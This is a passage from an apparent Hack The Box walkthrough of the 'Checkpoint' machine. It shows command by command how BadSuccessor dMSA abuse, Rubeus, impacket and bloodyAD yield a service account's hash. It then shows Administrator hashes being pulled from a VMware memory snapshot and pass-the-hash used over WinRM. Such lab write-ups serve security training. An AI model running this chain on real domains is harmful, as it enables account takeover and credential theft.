CHECKPOINT\alex.turner {OU=Employees,DC=checkpoint,DC=htb} 

The user ryan.brooks has the correct permissions to create a dMSA object under the OU DMSAHolder to perform the BadSuccessor technique.

Deja vu with the HTB Machine Eighteen.

Upload and execute SharpSuccessor to add a dMSA account (Delegated Managed Service Account) abusing delegation to impersonate the svc_deploy user (as ryan.brooks has also write permission on it):

PS C:\windows\tasks> <Ctrl-D>

[!] Session detached ⇲

(Penelope)─(Session [1])> upload SharpSuccessor.exe
[+] Upload OK "C:\Windows\Tasks\SharpSuccessor.exe"

(Penelope)─(Session [1])> sessions 1
PS C:\windows\tasks> .\SharpSuccessor.exe add /impersonate:svc_deploy /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:rpwn_dMSA
   _____ _                      _____                                        
  / ____| |                    / ____|                                       
 | (___ | |__   __ _ _ __ _ __| (___  _   _  ___ ___ ___  ___ ___  ___  _ __ 
  \___ \| '_ \ / _` | '__| '_ \\___ \| | | |/ __/ __/ _ \/ __/ __|/ _ \| '__|
  ____) | | | | (_| | |  | |_) |___) | |_| | (_| (_|  __/\__ \__ \ (_) | |   
 |_____/|_| |_|\__,_|_|  | .__/_____/ \__,_|\___\___\___||___/___/\___/|_|   
                         | |                                                 
                         |_|                                                 
@_logangoins

[+] Adding dnshostname rpwn_dMSA.checkpoint.htb
[+] Adding samaccountname rpwn_dMSA$
[+] svc_deploy's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=rpwn_dMSA' in 'OU=DMSAHolder,DC=checkpoint,DC=htb'
[+] Successfully weaponized dMSA object
[+] Found target account, attempting to write attributes
[+] CN=rpwn_dMSA,OU=DMSAHolder,DC=checkpoint,DC=htb written to svc_deploy object
[+] msDS-SupersededServiceAccountState set to 2
[+] Wrote to target account successfully

We use Rubeus tgtdeleg to extract an usable TGT from the current session (ryan.brooks) without knowing the password:

PS C:\windows\tasks> <Ctrl-D>

[!] Session detached ⇲

(Penelope)─(Session [1])> upload Rubeus.exe
[+] Upload OK "C:\Windows\Tasks\Rubeus.exe"

(Penelope)─(Session [1])> sessions 1
PS C:\windows\tasks> .\Rubeus.exe tgtdeleg /nowrap

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3 


[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: wWoqZV5Qz0mLjOcK+XPjVNaPYMIdKb0uV3RJh/CspVo=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIF1DCCBdCgAwIBBaEDAgEWooIE0DCCBMxhggTIMIIExKADAgEFoRAbDkNIRUNLUE9JTlQuSFRCoiMwIaADAgECoRowGBsGa3JidGd0Gw5DSEVDS1BPSU5ULkhUQqOCBIQwggSAoAMCARKhAwIBAqKCBHIEggRu8KCXsXCEJiAitqPlSY4EaX9TV+7fukvVwzabOQJlRVWtYFtYMX08quZiMbeezTb2R7UECU8AXy5EyZda2Xj79SBNXnO4kcXgRhWUs2aVTS0pJf9vqTpXRyAD84nD4CYxlF56F8SvLdgAEaOjXT064aJPEWTs+sgApR3lg6Oa58eXxBb4ZZrChKP37/StAz8KwUZvpCwncg26+E/TbwIRhIK/cVg2Ghi4Y0yASxjFYyujkxKuRfuaT13dJ8LEE6UUYES6Mu3YpxUbn1Vvy2hqmKG1q+TSZdBkrCALUNsED0h+tbssI+Ky9Z8+og8AoLKGVLlhi2g3Q5HM8C/3/xw1yOPbVMUxkt+F2uC8j3MOdjS8bwJPEcrXYULpNdZIFFdjGMkhTZB6oBUJWUvLTp5NTJvRU2s5bY5HV9odw6KDxeAxbCT7uSkCWg5C5ai14OtIA2hCDAHUezpjsEjRH4AYGqpRSYHHeHQen2O/PaOnjExQpye9e+J+JAa6kWFpqrVZTM4QEL81oReXlK3lt1i/c9Fc9NpXdSCiiDLa+R3allbDsfShghZgcLlbD4CRuOJNYLHpt3XZrt/+0+ZxM6Ku4x37OkehujKf1A5EPXR+Os1NwpLEeAqG5Jajn38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Q0hFQ0tQT0lOVC5IVEI=' | base64 -d > ryan.kirbi

Convert it to .ccache format then inject to our environement global variable:

$ impacket-ticketConverter ryan.kirbi ryan.brooks.ccache 
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] converting kirbi to ccache...
[+] done

$ export KRB5CCNAME=ryan.brooks.ccache 
$ klist
Ticket cache: FILE:ryan.brooks.ccache
Default principal: ryan.brooks@CHECKPOINT.HTB

Valid starting       Expires              Service principal
06/17/2026 03:24:20  06/17/2026 13:24:20  krbtgt/CHECKPOINT.HTB@CHECKPOINT.HTB
	renew until 06/24/2026 03:24:20

Request TGT with the new Machine account:

$ export KRB5_CONFIG=krb5.conf
$ impacket-getST checkpoint.htb/ryan.brooks -no-pass -impersonate 'rpwn_DMSA$' -dc-ip 10.129.xx.xx -dmsa -self
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating rpwn_DMSA$
[*] Requesting S4U2self
[*] Current keys:
[*] EncryptionTypes.aes256_cts_hmac_sha1_96:b8755eefa383df47a5d257e887ae6dd2dcabab89099742d20907d105931e3e33
[*] EncryptionTypes.aes128_cts_hmac_sha1_96:4700eb69f0e2da9c7811bb476231f696
[*] EncryptionTypes.rc4_hmac:089019e68eeba55152dc5afedb731308
[*] Previous keys:
[*] EncryptionTypes.rc4_hmac:e16081eb077aca74bdbf8af12af43ac9
[*] Saving ticket in rpwn_DMSA$@krbtgt_CHECKPOINT.HTB@CHECKPOINT.HTB.ccache

In another terminal session, we inject the ticket to our environement global variable:

$ export KRB5_CONFIG=krb5.conf
$ export KRB5CCNAME=rpwn_dMSA\$@krbtgt_CHECKPOINT.HTB@CHECKPOINT.HTB.ccache
$ klist                                                                     
Ticket cache: FILE:rpwn_dMSA$@krbtgt_CHECKPOINT.HTB@CHECKPOINT.HTB.ccache
Default principal: rpwn_dMSA$@checkpoint.htb

Valid starting       Expires              Service principal
06/18/2026 03:32:45  06/18/2026 12:56:47  krbtgt/CHECKPOINT.HTB@CHECKPOINT.HTB
	renew until 06/25/2026 02:56:47

Then we have access to the DC via WinRM (same than with svc_deploy account):

$ evil-winrm -i dc01.checkpoint.htb -r CHECKPOINT.HTB 

OR

$ evil-winrmexec -dc-ip 10.129.xx.xx -k dc01.checkpoint.htb
PS C:\Users\rpwn_DMSA$\Documents>

Another way is to use bloodyAD to exploit automatically BadSuccessor:

Note
  • -k => Kerberos auth (uses KRB5CCNAME)
  • -u ryan.brooks => explicit username (required when using ccache)
  • add badSuccessor => create a dMSA that supersedes svc_deploy
  • –ou => where ryan.brooks has CreateChild rights
  • -t => the target account to supersede (svc_deploy)
$ bloodyAD -d 'checkpoint.htb' -u 'ryan.brooks' -k --host 'DC01.checkpoint.htb' --dc-ip 10.129.xx.xx add badSuccessor rpwn_DMSA -t 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb' --ou 'OU=DMSAHolder,DC=checkpoint,DC=htb'
Clock skew detected. Adjusting local time by 7:05:07.588689. Retrying operation.
[+] Creating DMSA rpwn_DMSA$ in OU=DMSAHolder,DC=checkpoint,DC=htb
[+] Impersonating: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb

Realm        : CHECKPOINT.HTB
Sname        : krbtgt/CHECKPOINT.HTB
UserName     : rpwn_DMSA$
UserRealm    : checkpoint.htb
StartTime    : 2026-06-17 18:00:57+00:00
EndTime      : 2026-06-18 03:56:47+00:00
RenewTill    : 2026-06-24 17:56:47+00:00
Flags        : enc-pa-rep, forwarded, pre-authent, renewable, forwardable
Keytype      : 18
Key          : zNrIniV718Q7ho3NgJ5Y9BU5KtvFApqyU2N+q33jzFY=
EncodedKirbi : 

    doIF7jCCBeqgAwIBBaEDAgEWooIE2DCCBNRhggTQMIIEzKADAgEFoRAbDkNIRUNLUE9JTlQuSFRCoiMwIaADAgECoRowGBsGa3Ji
    dGd0Gw5DSEVDS1BPSU5ULkhUQqOCBIwwggSIoAMCARKhAwIBAqKCBHoEggR2VnctqlM8h9ea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vlWKxk7K6OzxZyppedJKJVuHwnTcLriy1JR5EFtljd7xzHj+4KIuVG5YHmnMFPi0Q1/wXl/8P
    x4QN6q8vbpRmee9Qea5D1tIV7EiJ1hMcPAV2gh4saPhWGOMQEV5FRd4D3FiugR6krYEhylP1MFcZAL12cdHVrkfEvoIlBfmUw3UU
    KHijcmJyg3m7HJDldp+O1G6ZjA/fhjCjq7shI9c6mCqd9mRCX5S+KHAc19HK7Fm2vXzwIaObFsiw/lMSVoluTE8q8tDbehdOlthC
    gdY2jjz51LTJyIapVi20JsfrNLuNKP2KZJFVueO7lh6tGkT5IaLFmhMXgAkX0FRMcsr/Veh/TJVVaTIsdQA8Xvhxsh5bpVZGv4lX
    ALVwhdjV7joTLd9lP8egaFwPjJUmveddHXj2PYTOVjdHh2hk91zn3JjVndWmXphq8IFiaYq933j5QPQilGujggEAMIH9oAMCAQCi
    gfUEgfJ9ge8wgeyggekwgeYwgeOgKzApoAMCARKhIgQgzNrIniV718Q7ho3NgJ5Y9BU5KtvFApqyU2N+q33jzFahEBsOY2hlY2tw
    b2ludC5odGKiGDAWoAMCAQGhDzANGwtycHduMl9ETVNBJKMFAwMAYKGkERgPMjAyNjA2MTcxNzU2NDdapREYDzIwMjYwNjE3MTgw
    MDU3WqYRGA8yMDI2MDYxODAzNTY0N1qnERgPMjAyNjA2MjQxNzU2NDdaqBAbDkNIRUNLUE9JTlQuSFRCqSMwIaADAgECoRowGBsG
    a3JidGd0Gw5DSEVDS1BPSU5ULkhUQg==
[+] dMSA TGT stored in ccache file rpwn_DMSA_iT.ccache

dMSA current keys found in TGS:
AES256: b8755eefa383df47a5d257e887ae6dd2dcabab89099742d20907d105931e3e33
AES128: 4700eb69f0e2da9c7811bb476231f696
RC4: 089019e68eeba55152dc5afedb731308

dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: e16081eb077aca74bdbf8af12af43ac9

The previous keys are svc_deploy’s actual derived NThash, this is svc_deploy’s password hash that was inherited by our dMSA through the BadSuccessor mechanism.

  • Found svc_exploit:e16081eb077aca74bdbf8af12af43ac9

Check the authentication:

$ nxc winrm dc01.checkpoint.htb -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9
WINRM       10.129.xx.xx   5985   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) 
WINRM       10.129.xx.xx   5985   DC01             [+] checkpoint.htb\svc_deploy:e16081eb077aca74bdbf8af12af43ac9 (Pwn3d!)

Confirmed.

Privilege escalation - VMware snapshot memory forensics (root)

Using our evil-winrmexec session under the machine account rpwn_DMSA$ or the service account svc_deploy, we have access to the shared folder VMBackups and listing it we found some VMware snapshots:

PS C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics> ls


    Directory: C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-a----          5/9/2026   7:45 PM      106496000 Windows Server 2019-000001.vmdk                                       
-a----          5/9/2026   7:40 PM     2147483648 Windows Server 2019-Snapshot1.vmem                                    
-a----          5/9/2026   7:40 PM      138164859 Windows Server 2019-Snapshot1.vmsn                                    
-a----          5/9/2026   7:39 PM         270840 Windows Server 2019.nvram                                             
-a----          5/9/2026   7:45 PM           7642 Windows Server 2019.scoreboard                                        
-a----          5/9/2026   7:39 PM    10199695360 Windows Server 2019.vmdk                                              
-a----          5/9/2026   7:39 PM            502 Windows Server 2019.vmsd                                              
-a----          5/9/2026   7:45 PM           2749 Windows Server 2019.vmx                                               
-a----          5/9/2026   7:22 PM            274 Windows Server 2019.vmxf  

2 files are interesting:

  • Windows Server 2019-Snapshot1.vmsn
  • Windows Server 2019-Snapshot1.vmem
Note
  • .vmsn (VMware Snapshot State File):
    • Stores the configuration, hardware state, CPU registers, and the snapshot tree/hierarchy.
    • It acts as the “map” or instructions used by VMware to restore the machine to the exact point in time it was snapshotted.
  • .vmem (VMware Memory File):
    • Contains the actual data contents of the virtual machine’s RAM at that specific moment.
    • It will grow to the size of the VM’s configured memory when the machine is running.

When we take a snapshot and select “Include virtual machine’s memory,” both files are generated and paired together.

In memory forensics or data recovery, you usually need both—the .vmem holds the data, and the .vmsn acts as the required metadata translation layer.

We have different possibility to extract sensitive data, below we will share 2 possibilities.

  1. Using VMkatz:
PS C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics> cd c:\windows\tasks
PS C:\windows\tasks> !upload vmkatz.exe
PS C:\windows\tasks> .\vmkatz.exe "C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmsn"
[*] vmkatz v1.4.5-beta.1
[*] System discovery: 11.6235021s
[*] Process enumeration: 12.5026ms
[*] Providers: MSV(ok) WDigest(ok) Kerberos(ok) TsPkg(empty) DPAPI(ok) SSP(empty) LiveSSP(n/a) Credman(empty) CloudAP(empty)
[*] Credential extraction: 70.8413ms

[+] 2 logon session(s), 2 with credentials:

  LUID: 0x3e4 (NETWORK SERVICE)
  Username: WIN-0DG6SJAEUTA$
  Domain: WORKGROUP
  [DPAPI]
    GUID          : 632b77c8-5e1a-4479-8e35-baa290fdd6ae
    MasterKey     : 15e104f6de4e478c6bf55252632a25b973fccd39c2be8cc0d5b15a5dec06029f02fe0a02a3e57eb3b55f077f83a283cd0a11f6b3c6508d9e585527de78dc989e
    SHA1 MasterKey: 44bb34a624afcd186909843e6cbdb4cfee908975
  [DPAPI]
    GUID          : 57e1a5d6-bbd4-44e9-a5c4-f4241b0821b0
    MasterKey     : 95f668c165e7c0b3bd1f525330e5a647b9c9c8da7320c6fbdb4518a588bac996567e04f22b28d4f7a2abd33fafe0958522bca1aaa0de00f5edb7d6742065642d
    SHA1 MasterKey: b2bf2c648554143d6b28b3c06a1ece7e40867238
  [DPAPI]
    GUID          : 4f09a449-22e7-4a65-a4b9-fac89cc25328
    MasterKey     : e4778f7e1b8351eade5c49bb8e32503fbbaa705bb7e26eef5785e0a8200e31fcc2458a4db00e03aaabef34bd47900beee2d8a5bb73ddd904fbe279089a1ea718
    SHA1 MasterKey: 90b1c277630e507a8e28d7b260a53f21712c3f1d

  LUID: 0x14016d
  Session: 2 | LogonType: Unknown
  Username: Administrator
  Domain: WIN-0DG6SJAEUTA
  LogonServer: WIN-0DG6SJAEUTA
  LogonTime: 2026-05-09 14:07:14 UTC
  SID: S-1-5-21-2823729479-30462974-3865623546-500
  [MSV1_0]
    NT Hash : f29e9c014295b9b32139b09a2790be3b
    SHA1    : 89c15f3cd3ede88faf4b2d2e56253cf953e7922e
    DPAPI   : 89c15f3cd3ede88faf4b2d2e56253cf953e7922e
  [DPAPI]
    GUID          : c53f7d5b-2902-415c-9c09-251f39974440
    MasterKey     : 32cc5c309067ca0994b849897a9b85b89511547030a1d8b74fe6e37ba037a4161301ffce692e6e433c3821dc18abfe208e1dc5c458de79d1352c6681e18bde15
    SHA1 MasterKey: b061f87be6d2776897d912fed9156a354b81a595

[*] 2 sessions, 1 NT hashes, 0 plaintext passwords

Found the Administrator’s NT Hash: f29e9c014295b9b32139b09a2790be3b

  1. Using volatility3:

Download the snapshot to our attacker machine (take a coffee and wait as 2GB file …):

PS C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics> !download "Windows Server 2019-Snapshot1.vmem"

Then use Volatility3 with the windows.hashdump plugin to extract the NTLM hashes directly from the memory image by locating and parsing the SAM hive in RAM:

$ vol -f "Windows Server 2019-Snapshot1.vmem" windows.hashdump.Hashdump
...
User              rid   lmhash                            nthash
Administrator     500   aad3b435b51404eeaad3b435b51404ee  f29e9c014295b9b32139b09a2790be3b
Guest             501   aad3b435b51404eeaad3b435b51404ee  31d6cfe0d16ae931b73c59d7e0c089c0

Found the Administrator’s NT Hash: f29e9c014295b9b32139b09a2790be3b

Then grab the root flag:

$ nxc winrm dc01.checkpoint.htb -u administrator -H f29e9c014295b9b32139b09a2790be3b -x 'type C:\Users\administrator\desktop\root.txt'
WINRM       10.129.xx.xx   5985   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) 
WINRM       10.129.xx.xx   5985   DC01             [+] checkpoint.htb\administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)
WINRM       10.129.xx.xx   5985   DC01             [+] Executed command (shell type: cmd)
WINRM       10.129.xx.xx   5985   DC01             [-] The system cannot find the file specified.
∑(; °Д°) なに!!!
$ nxc winrm dc01.checkpoint.htb -u administrator -H f29e9c014295b9b32139b09a2790be3b -x 'dir C:\Users\'
WINRM       10.129.xx.xx   5985   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) 
WINRM       10.129.xx.xx   5985   DC01             [+] checkpoint.htb\administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)
WINRM       10.129.xx.xx   5985   DC01             [+] Executed command (shell type: cmd)
WINRM       10.129.xx.xx   5985   DC01              Volume in drive C has no label.
WINRM       10.129.xx.xx   5985   DC01              Volume Serial Number is 2660-795C
WINRM       10.129.xx.xx   5985   DC01             
WINRM       10.129.xx.xx   5985   DC01              Directory of C:\Users
WINRM       10.129.xx.xx   5985   DC01             
WINRM       10.129.xx.xx   5985   DC01             06/17/2026  11:36 AM    <DIR>          .
WINRM       10.129.xx.xx   5985   DC01             05/25/2026  06:26 PM    <DIR>          Administrator
WINRM       10.129.xx.xx   5985   DC01             05/25/2026  06:34 PM    <DIR>          max.palmer
WINRM       10.129.xx.xx   5985   DC01             05/09/2026  12:30 AM    <DIR>          Public
WINRM       10.129.xx.xx   5985   DC01             06/17/2026  11:36 AM    <DIR>          rpwn_DMSA$
WINRM       10.129.xx.xx   5985   DC01             05/21/2026  04:19 PM    <DIR>          ryan.brooks
WINRM       10.129.xx.xx   5985   DC01                            0 File(s)              0 bytes
WINRM       10.129.xx.xx   5985   DC01                            6 Dir(s)  10,125,058,048 bytes free
$ nxc winrm dc01.checkpoint.htb -u administrator -H f29e9c014295b9b32139b09a2790be3b -x 'type C:\Users\max.palmer\desktop\root.txt'
WINRM       10.129.xx.xx   5985   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) 
WINRM       10.129.xx.xx   5985   DC01             [+] checkpoint.htb\administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)
WINRM       10.129.xx.xx   5985   DC01             [+] Executed command (shell type: cmd)
WINRM       10.129.xx.xx   5985   DC01             <REDACTED>